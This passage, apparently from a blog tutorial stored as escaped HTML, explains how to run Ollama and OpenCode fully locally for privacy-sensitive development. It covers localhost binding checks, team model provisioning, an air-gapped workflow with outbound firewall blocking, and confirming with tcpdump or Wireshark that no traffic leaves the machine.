style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003e7\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='196' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='180' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='196' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eVisual Notes:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe entire process is contained within your workstation boundary.\u003c/li\u003e\n\u003cli\u003eCommunication between OpenCode and Ollama occurs over \u003ccode\u003e127.0.0.1\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe absence of external network connections guarantees data privacy.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eVerify Ollama is bound only to localhost:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Windows\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enetstat -an | Select-String \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;11434\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Expected output: TCP 127.0.0.1:11434 0.0.0.0:0 LISTENING\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# If you see 0.0.0.0:11434, Ollama is exposed to the network — fix this immediately\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Linux\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo ss -tlnp | grep \u003cspan style=\"color:#ae81ff\"\u003e11434\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Or: sudo netstat -tlnp | grep 11434\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# macOS\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo lsof -i :11434\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"deploying-local-ai-across-a-team\"\u003eDeploying Local AI Across a Team\u003c/h3\u003e\n\u003cp\u003eThe provisioning challenge: getting Ollama and approved models onto developer machines without requiring internet access at setup time.\u003c/p\u003e\n\u003cp\u003eThe pattern — while connected to a trusted internal network, pull approved models once, package them with the Ollama binary and a standardized configuration, and distribute via your existing software deployment tooling.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Pull approved models while on a trusted internal network\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull opencoder\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e8b\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Confirm the model is cached locally\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama list\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Lock Ollama to localhost for the current session\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$env:OLLAMA_HOST = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;127.0.0.1:11434\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Set this permanently for the user\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#66d9ef\"\u003eEnvironment\u003c/span\u003e]::SetEnvironmentVariable(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;OLLAMA_HOST\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;127.0.0.1:11434\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;User\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor Windows environments, the Ollama models directory (\u003ccode\u003e%USERPROFILE%\\.ollama\\models\u003c/code\u003e) is portable. Copy it from a provisioning machine to developer machines and Ollama recognizes the models immediately — no internet connection required. The model files are self-contained GGUF files.\u003c/p\u003e\n\u003cp\u003eFor Linux, package the models directory into your standard dev container image or use an internal artifact repository to distribute the GGUF files alongside the Ollama binary and a standardized \u003ccode\u003eModelfile\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"hands-on-example-the-air-gapped-workflow\"\u003eHands-On Example: The Air-Gapped Workflow\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e You\u0026rsquo;re working on a financial application that processes PII. You need AI assistance for a payment processing module while guaranteeing zero network transmission during the coding session.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 1: Pre-provision the model on a trusted network\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# On a secured internal network\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama pull opencoder\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e8b\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Verify\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama list\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Output: opencoder:8b    sha256:...    4.5 GB    2 minutes ago\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 2: Disconnect and enforce network isolation\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ePhysically disconnect from the network. Optionally, enforce at the OS level:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Windows: Change default outbound action to Block\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSet-NetFirewallProfile -Profile Domain,Public,Private -DefaultOutboundAction Block\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Note: Changing default outbound action is disruptive; perform with caution\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eStep 3: Work with the sensitive module\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Start Ollama (Linux/macOS)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama serve \u0026amp;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Windows: Ollama starts automatically as a background service\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd ~/projects/payment-service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eopencode\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIn OpenCode:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/add src/payment_processor.py\nRefactor the charge() function to validate card number format before calling the gateway. Implement the Luhn algorithm for validation. Do not log the card number at any point, not even partially.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe model generates the refactored function. No packets leave the machine.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStep 4: Verify zero egress\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Linux: capture all non-localhost traffic during generation\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo tcpdump -i any -n \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;not (src host 127.0.0.1 or dst host 127.0.0.1)\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# macOS: capture all non-localhost traffic (replace en0 with your active interface)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo tcpdump -i en0 -n \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;not (src host 127.0.0.1 or dst host 127.0.0.1)\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# If nothing appears while OpenCode is generating, all traffic was local\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOn Windows, Wireshark with display filter \u003ccode\u003enot ip.addr == 127.0.0.1\u003c/code\u003e shows the same — no packets during generation.\u003c/p\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eBind Ollama to \u003ccode\u003e127.0.0.1\u003c/code\u003e, not \u003ccode\u003e0.0.0.0\u003c/code\u003e.\u003c/strong\u003e The default is already \u003ccode\u003e127.0.0.1\u003c/code\u003e, but verify after updates. An accidental \u003ccode\u003eOLLAMA_HOST=0.0.0.0\u003c/code\u003e setting exposes the unauthenticated API to every machine on your local network.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eAudit telemetry settings for every AI tool in the stack.\u003c/strong\u003e OpenCode and some underlying frameworks send crash reports or usage analytics independently of where the inference runs. Check settings for each tool and disable telemetry explicitly. Several \u0026ldquo;local AI\u0026rdquo; tools in 2025 were found to send usage metadata to cloud services even when inference was fully local.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eScan AI-generated code with SAST before committing.\u003c/strong\u003e A model running on \u003ccode\u003elocalhost\u003c/code\u003e can still produce code with SQL injection vulnerabilities, hardcoded credentials, or insecure cryptographic implementations. Run the same static analysis pipeline on AI-generated code that you run on human-written code — preferably in CI before merge.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eStandardize developer hardware.\u003c/strong\u003e The shadow AI problem in regulated environments almost always traces to performance. If the approved local model generates at 3 tokens/sec on underpowered hardware, developers find a faster cloud alternative. MacBook Pros with 36GB unified memory or workstations with 16GB VRAM GPUs run 8B models at 50+ tokens/sec. The performance must compete with cloud alternatives or the policy fails in practice.\u003c/p\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: An AI tool is sending traffic even when the model is local.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: IDE plugins, telemetry frameworks, and update checks often have network calls independent of the inference backend. The local model being local doesn\u0026rsquo;t make the wrapper tool local.\u003c/p\u003e\n\u003cp\u003eFix: Capture all outbound traffic during a coding session with Wireshark or \u003ccode\u003etcpdump\u003c/code\u003e. Inspect any non-localhost destinations. For each AI-related extension or tool, find the telemetry setting and disable it. Consider running the development environment in a container with explicit egress firewall rules to enforce zero external traffic at the infrastructure level.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: Developers bypass the local AI policy because performance is too slow.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The hardware budget doesn\u0026rsquo;t support local inference at useful speeds. An 8B model on a machine with 4GB VRAM offloads most inference to system RAM and generates at 2–4 tokens/sec. That\u0026rsquo;s not fast enough to replace a cloud subscription in a developer\u0026rsquo;s daily workflow.\u003c/p\u003e\n\u003cp\u003eFix: The minimum viable hardware for acceptable local AI performance is 8GB dedicated VRAM or Apple Silicon with 16GB+ unified memory. Below that, the policy will fail in practice regardless of enforcement. If hardware refresh isn\u0026rsquo;t immediately feasible, a shared local inference server (one high-spec Linux workstation running Ollama with \u003ccode\u003eOLLAMA_HOST=0.0.0.0\u003c/code\u003e on a trusted subnet, accessible only to developer machines on that subnet) is a viable interim approach.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003cp\u003eCloud AI coding tools present a genuine compliance risk for organizations handling regulated data or proprietary IP — not because vendors are untrustworthy, but because the data leaves the machine. Local AI with Ollama and OpenCode eliminates that risk by design: inference runs on \u003ccode\u003e127.0.0.1\u003c/code\u003e, packets 